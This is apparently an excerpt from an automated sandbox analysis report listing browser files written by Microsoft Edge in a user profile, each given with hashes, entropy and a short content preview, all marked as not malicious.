SSDEEP:	3:MsEllllkEthXllkl2zEfl:/M/xT02z
MD5:	1D398A6AA838A4E28DA47AE52901891F
SHA1:	389A75E59EB00BA4F5A285C59D96D11E08F1748F
SHA-256:	A8A19E1F6BABF4F13E6905B30614A0F5D17468962C21A60667870F2CAE9E013B
SHA-512:	4549CBEC5F9C10AB72872654DC7D60E752E7697B9A2EF92B7FAE6611F5957B8A9BF38C54A581E88A5970FE723791635992BB5CE36D2F3DAE312F93E77E898E2F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7d8809f2-759d-46f0-83a9-c4c197d83485.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\96e1b99e-7de5-46af-8d05-14684c92da48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF49f2a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF49f0b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cac076bd-616d-4c4c-aaa0-09ec827e9843.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ff06a2b0-3bfe-43d1-ade8-3138b6766371.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7818
Entropy (8bit):	5.090523720484719
Encrypted:	false
SSDEEP:	192:sthxsGx8CZihnkzsY8bV+FiA66WbhaFIMY8hbLMJ:sthxsGx8xhDbGix6WbhaTY86
MD5:	25F282BF41CC798E49FA745FE6967D10
SHA1:	298C2C8554B3EB7B7F5320427E3F5B101E8DC02C
SHA-256:	027C6604723E523C0505C68A28BC113BEFFD6F860C45E765993FA7AF969847B9
SHA-512:	133EFBF412715AF490D69E8CDAB07335EE21428B1B7CA4F64494805E3DA7EAB344F335AD56FCDF51E1A632C72C267AE8EBE2A855F7CD1AC61108BF5E23A8B202
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620629402368","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13369620629404672"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49e7e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7818
Entropy (8bit):	5.090523720484719
Encrypted:	false
SSDEEP:	192:sthxsGx8CZihnkzsY8bV+FiA66WbhaFIMY8hbLMJ:sthxsGx8xhDbGix6WbhaTY86
MD5:	25F282BF41CC798E49FA745FE6967D10
SHA1:	298C2C8554B3EB7B7F5320427E3F5B101E8DC02C
SHA-256:	027C6604723E523C0505C68A28BC113BEFFD6F860C45E765993FA7AF969847B9
SHA-512:	133EFBF412715AF490D69E8CDAB07335EE21428B1B7CA4F64494805E3DA7EAB344F335AD56FCDF51E1A632C72C267AE8EBE2A855F7CD1AC61108BF5E23A8B202
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620629402368","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13369620629404672"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	5.568667568185657
Encrypted:	false
SSDEEP:	768:2I43NOWPiVfW18F1+UoAYDCx9Tuqh0VfUC9xbog/OV9IO3urwdSp6tub:2I43NOWPiVfW1u1ja0d3rdXtg
MD5:	30AA878D610C5710308370AB3E492846
SHA1:	CE8FA454F32AFB40F8B689A198B81F44ABBA1A90
SHA-256:	556187801C042050E05CA49BE468CF8990622618D63FF53C5C75D68DAB6D6289
SHA-512:	C194C97BB4A59E32F05C7B618D5E8B98203DB4A56708E94F9075A700A011EB0CB0E7C0F86AC948E394A34545688AA1473B9500DFD70FBABD8D0920C882BB1EB9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369620629137665","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369620629137665","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	472
Entropy (8bit):	5.269897935747554
Encrypted:	false
SSDEEP:	12:7d+v4YebCFUt8MRFE/+MuVcjuVVMw8YebtPiL6DfO1:24Yeb2g8iVcaVVV8Yeb+6g
MD5:	EE81B791F925ECC17B62B916BFB020B7
SHA1:	D20EC04BBA961D603291F62150F6969491FC7E44
SHA-256:	D1279E221DB079E3866D02C619CD845D302E1E6C904E7EC77CF8275E79BBE7D4
SHA-512:	5854EF1DDA40EB2BBB2AA34C23FFF375BDB2FDB6EF5DB93D8F1F3F2F3CBCEF07E06DE7996043CD5F3F8DA9F38EC0D30398DED1A7F8BD0824ECC9A2C2B2554D18
Malicious:	false
Preview:	2024/08/31-19:30:29.875 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/08/31-19:30:29.876 1cdc Recovering log #3.2024/08/31-19:30:29.879 1cdc Level-0 table #3: started.2024/08/31-19:30:29.879 1cdc Level-0 table #3: 0 bytes IO error: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.ldb: Unable to create writable file (ChromeMethodBFE: 9::NewWritableFile::16).

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	472
Entropy (8bit):	5.269897935747554
Encrypted:	false
SSDEEP:	12:7d+v4YebCFUt8MRFE/+MuVcjuVVMw8YebtPiL6DfO1:24Yeb2g8iVcaVVV8Yeb+6g
MD5:	EE81B791F925ECC17B62B916BFB020B7
SHA1:	D20EC04BBA961D603291F62150F6969491FC7E44
SHA-256:	D1279E221DB079E3866D02C619CD845D302E1E6C904E7EC77CF8275E79BBE7D4
SHA-512:	5854EF1DDA40EB2BBB2AA34C23FFF375BDB2FDB6EF5DB93D8F1F3F2F3CBCEF07E06DE7996043CD5F3F8DA9F38EC0D30398DED1A7F8BD0824ECC9A2C2B2554D18
Malicious:	false
Preview:	2024/08/31-19:30:29.875 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/08/31-19:30:29.876 1cdc Recovering log #3.2024/08/31-19:30:29.879 1cdc Level-0 table #3: started.2024/08/31-19:30:29.879 1cdc Level-0 table #3: 0 bytes IO error: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.ldb: Unable to create writable file (ChromeMethodBFE: 9::NewWritableFile::16).

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.172585857033019
Encrypted:	false
SSDEEP:	6:7AM+q2P923oH+Tcwt7Uh2ghZIFUt8Mv/Zmw+MxFcMVkwO923oH+Tcwt7Uh2gnLJ:7p+v4YebIhHh2FUt8Mv//+MD9V5LYebs
MD5:	53A900E9D0DC7C5336C41988BAA57084
SHA1:	4143F222DF844B062EE7D1ECB1BE7AD84B221417
SHA-256:	0C6CCFF671ABD95573ED46885D3690EA518876D696D4B1DA353E8EC91DA0755B
SHA-512:	D434F1625EEE38BE7CDE454425B8F523525DB0DE021692E22F534B0DB9EF010FF2D29A1CAEB5CCF3B251D423BB0AFC9B8E954A0197E5DD516451997C196FE08E
Malicious:	false
Preview:	2024/08/31-19:30:29.267 151c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-19:30:29.269 151c Recovering log #3.2024/08/31-19:30:29.270 151c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.172585857033019
Encrypted:	false
SSDEEP:	6:7AM+q2P923oH+Tcwt7Uh2ghZIFUt8Mv/Zmw+MxFcMVkwO923oH+Tcwt7Uh2gnLJ:7p+v4YebIhHh2FUt8Mv//+MD9V5LYebs
MD5:	53A900E9D0DC7C5336C41988BAA57084
SHA1:	4143F222DF844B062EE7D1ECB1BE7AD84B221417
SHA-256:	0C6CCFF671ABD95573ED46885D3690EA518876D696D4B1DA353E8EC91DA0755B
SHA-512:	D434F1625EEE38BE7CDE454425B8F523525DB0DE021692E22F534B0DB9EF010FF2D29A1CAEB5CCF3B251D423BB0AFC9B8E954A0197E5DD516451997C196FE08E
Malicious:	false
Preview:	2024/08/31-19:30:29.267 151c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-19:30:29.269 151c Recovering log #3.2024/08/31-19:30:29.270 151c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old~RF49d46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.172585857033019
Encrypted:	false
SSDEEP:	6:7AM+q2P923oH+Tcwt7Uh2ghZIFUt8Mv/Zmw+MxFcMVkwO923oH+Tcwt7Uh2gnLJ:7p+v4YebIhHh2FUt8Mv//+MD9V5LYebs
MD5:	53A900E9D0DC7C5336C41988BAA57084
SHA1:	4143F222DF844B062EE7D1ECB1BE7AD84B221417
SHA-256:	0C6CCFF671ABD95573ED46885D3690EA518876D696D4B1DA353E8EC91DA0755B
SHA-512:	D434F1625EEE38BE7CDE454425B8F523525DB0DE021692E22F534B0DB9EF010FF2D29A1CAEB5CCF3B251D423BB0AFC9B8E954A0197E5DD516451997C196FE08E
Malicious:	false
Preview:	2024/08/31-19:30:29.267 151c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-19:30:29.269 151c Recovering log #3.2024/08/31-19:30:29.270 151c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.181994087558962
Encrypted:	false
SSDEEP:	6:7y+q2P923oH+TcwtpIFUt8MHWZmw+MGSVkwO923oH+Tcwta/WLJ:7y+v4YebmFUt8MHW/+MtV5LYebaUJ
MD5:	455DC690BD66A09C4A0CE92999D1CA8E
SHA1:	DD088C4F7C19BA2F9FAEB0910C6CD1FA4E9AC7AA
SHA-256:	5CEF181954B8948917784CD1E6652E72C613A91952B4D4450D52D5FF1044947E
SHA-512:	FF7031EE12D16725393BC553EE6A5C65D62B282D82848CFE41D5D4E199B97C98D2BF4C2E6FE9358F659679051BE4B719014921E144394EC98CCF64CF297C8B2B
Malicious:	false
Preview:	2024/08/31-19:30:37.732 1f3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-19:30:37.732 1f3c Recovering log #3.2024/08/31-19:30:37.733 1f3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.181994087558962
Encrypted:	false
SSDEEP:	6:7y+q2P923oH+TcwtpIFUt8MHWZmw+MGSVkwO923oH+Tcwta/WLJ:7y+v4YebmFUt8MHW/+MtV5LYebaUJ
MD5:	455DC690BD66A09C4A0CE92999D1CA8E
SHA1:	DD088C4F7C19BA2F9FAEB0910C6CD1FA4E9AC7AA
SHA-256:	5CEF181954B8948917784CD1E6652E72C613A91952B4D4450D52D5FF1044947E
SHA-512:	FF7031EE12D16725393BC553EE6A5C65D62B282D82848CFE41D5D4E199B97C98D2BF4C2E6FE9358F659679051BE4B719014921E144394EC98CCF64CF297C8B2B
Malicious:	false
Preview:	2024/08/31-19:30:37.732 1f3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-19:30:37.732 1f3c Recovering log #3.2024/08/31-19:30:37.733 1f3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old~RF49d46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.181994087558962
Encrypted:	false
SSDEEP:	6:7y+q2P923oH+TcwtpIFUt8MHWZmw+MGSVkwO923oH+Tcwta/WLJ:7y+v4YebmFUt8MHW/+MtV5LYebaUJ
MD5:	455DC690BD66A09C4A0CE92999D1CA8E
SHA1:	DD088C4F7C19BA2F9FAEB0910C6CD1FA4E9AC7AA
SHA-256:	5CEF181954B8948917784CD1E6652E72C613A91952B4D4450D52D5FF1044947E
SHA-512:	FF7031EE12D16725393BC553EE6A5C65D62B282D82848CFE41D5D4E199B97C98D2BF4C2E6FE9358F659679051BE4B719014921E144394EC98CCF64CF297C8B2B
Malicious:	false
Preview:	2024/08/31-19:30:37.732 1f3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-19:30:37.732 1f3c Recovering log #3.2024/08/31-19:30:37.733 1f3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1222303829721019
Encrypted:	false
SSDEEP:	384:b2qOB1nxCkfSAELyKOMq+8yC8F/YfU5m+OlT:Kq+n0E9ELyKOMq+8y9/Ow
MD5:	61FB3917CE12330E6A8139A1F4052DF3
SHA1:	4B7F6EA90D607F0B09DCBB4A54A34B6097FDED9C
SHA-256:	0772007A2C3B68C6D72E6F97215D34DE643264CAE43D8E5A7C63154B3C372413
SHA-512:	F79CC212F8C105FA96FA906A56630BB8E9210DCD16FBF357D2A13E3B532A9BDC1CC4D48683FAA895F2BC102F465AD334462D1FE908788C215EEE3FA417D78792
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, writer version 2, read version 2, file counter 8, database pages 11, cookie 0x7, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.4108834313259155
Encrypted:	false
SSDEEP:	24:TSWUYP5/ZrK/AxH1Aj5sAFWZmasamfDsCBjy8e+ZcI5fc:TnUYVAKAFXX+CcEc
MD5:	8593795778EA3EC8221366AA2FBBA867
SHA1:	2F307D4925183EA13E7BE637CB93ECAF2BA9810A
SHA-256:	F3C17873660988454A5A403D047FCE88379D1FE8917A89C98E6EB940F8929C03
SHA-512:	CC86DD61ACEDA6F2927C4C23CBD6D426F2C8CD1DF65E342C76D07153ACBF801F9B297F8EF182097CBABBDE6A49C90AF0E7A38E49AB53DF3FD2EC2D5BC675099A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................?.P................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.049731726990245535
Encrypted:	false
SSDEEP:	6:Gd0JAmu8jH0JAmu8rtCL9XCChslotGLNl0ml/XoQDeX:zJXsJXQpEjVl/XoQ
MD5:	C54B3D1870E84B11D259971CBC7B34F7
SHA1:	5F3D7D108711BA075CC8DFD4A079363B4F36DADB
SHA-256:	AC3A97348BF70C13B6BA0618708EE0F39FCA5644BAC0D2CD12CD9B5647D18F15
SHA-512:	4A0033E46E0309DC121922D795DC011FF830BA85FA02681A80C1FC1F145820526C328980034B21F20DFE4F83FA15F8D9D7FBB6F85024A614021E73AD24CFEFAD
Malicious:	false
Preview:	..-.....................:Db.W.v..4..}..tT...l...-.....................:Db.W.v..4..}..tT...l.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.272377087416351
Encrypted:	false
SSDEEP:	6:7st+q2P923oH+TcwtfrK+IFUt8MnZmw+MogRFNVkwO923oH+TcwtfrUeLJ:7sov4Yeb23FUt8Mn/+MoaF5LYeb3J
MD5:	7EE2460B2DF4A9C6D882012154C9308D
SHA1:	D1B54C5DA076BECE3EC1D5ABEB28A67164289A76
SHA-256:	9FBDAA69CE5A74D1DE291F761B32F942A82FD1407ACA4F6B6DE7A0D740D3FB4E
SHA-512:	A5F1A2A6DB331F4CCF1C7AE3A5587E230A9E99AC77215EB3B6E10549D44D2A309536C5D56B384911DBCE72F1B7F1238720CFF761B416E53883A2B143093DA5FD
Malicious:	false
Preview:	2024/08/31-19:30:29.433 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/08/31-19:30:29.434 b68 Recovering log #3.2024/08/31-19:30:29.517 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.272377087416351
Encrypted:	false
SSDEEP:	6:7st+q2P923oH+TcwtfrK+IFUt8MnZmw+MogRFNVkwO923oH+TcwtfrUeLJ:7sov4Yeb23FUt8Mn/+MoaF5LYeb3J
MD5:	7EE2460B2DF4A9C6D882012154C9308D
SHA1:	D1B54C5DA076BECE3EC1D5ABEB28A67164289A76
SHA-256:	9FBDAA69CE5A74D1DE291F761B32F942A82FD1407ACA4F6B6DE7A0D740D3FB4E
SHA-512:	A5F1A2A6DB331F4CCF1C7AE3A5587E230A9E99AC77215EB3B6E10549D44D2A309536C5D56B384911DBCE72F1B7F1238720CFF761B416E53883A2B143093DA5FD
Malicious:	false
Preview:	2024/08/31-19:30:29.433 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/08/31-19:30:29.434 b68 Recovering log #3.2024/08/31-19:30:29.517 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old~RF49db3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.272377087416351
Encrypted:	false
SSDEEP:	6:7st+q2P923oH+TcwtfrK+IFUt8MnZmw+MogRFNVkwO923oH+TcwtfrUeLJ:7sov4Yeb23FUt8Mn/+MoaF5LYeb3J
MD5:	7EE2460B2DF4A9C6D882012154C9308D
SHA1:	D1B54C5DA076BECE3EC1D5ABEB28A67164289A76
SHA-256:	9FBDAA69CE5A74D1DE291F761B32F942A82FD1407ACA4F6B6DE7A0D740D3FB4E
SHA-512:	A5F1A2A6DB331F4CCF1C7AE3A5587E230A9E99AC77215EB3B6E10549D44D2A309536C5D56B384911DBCE72F1B7F1238720CFF761B416E53883A2B143093DA5FD
Malicious:	false
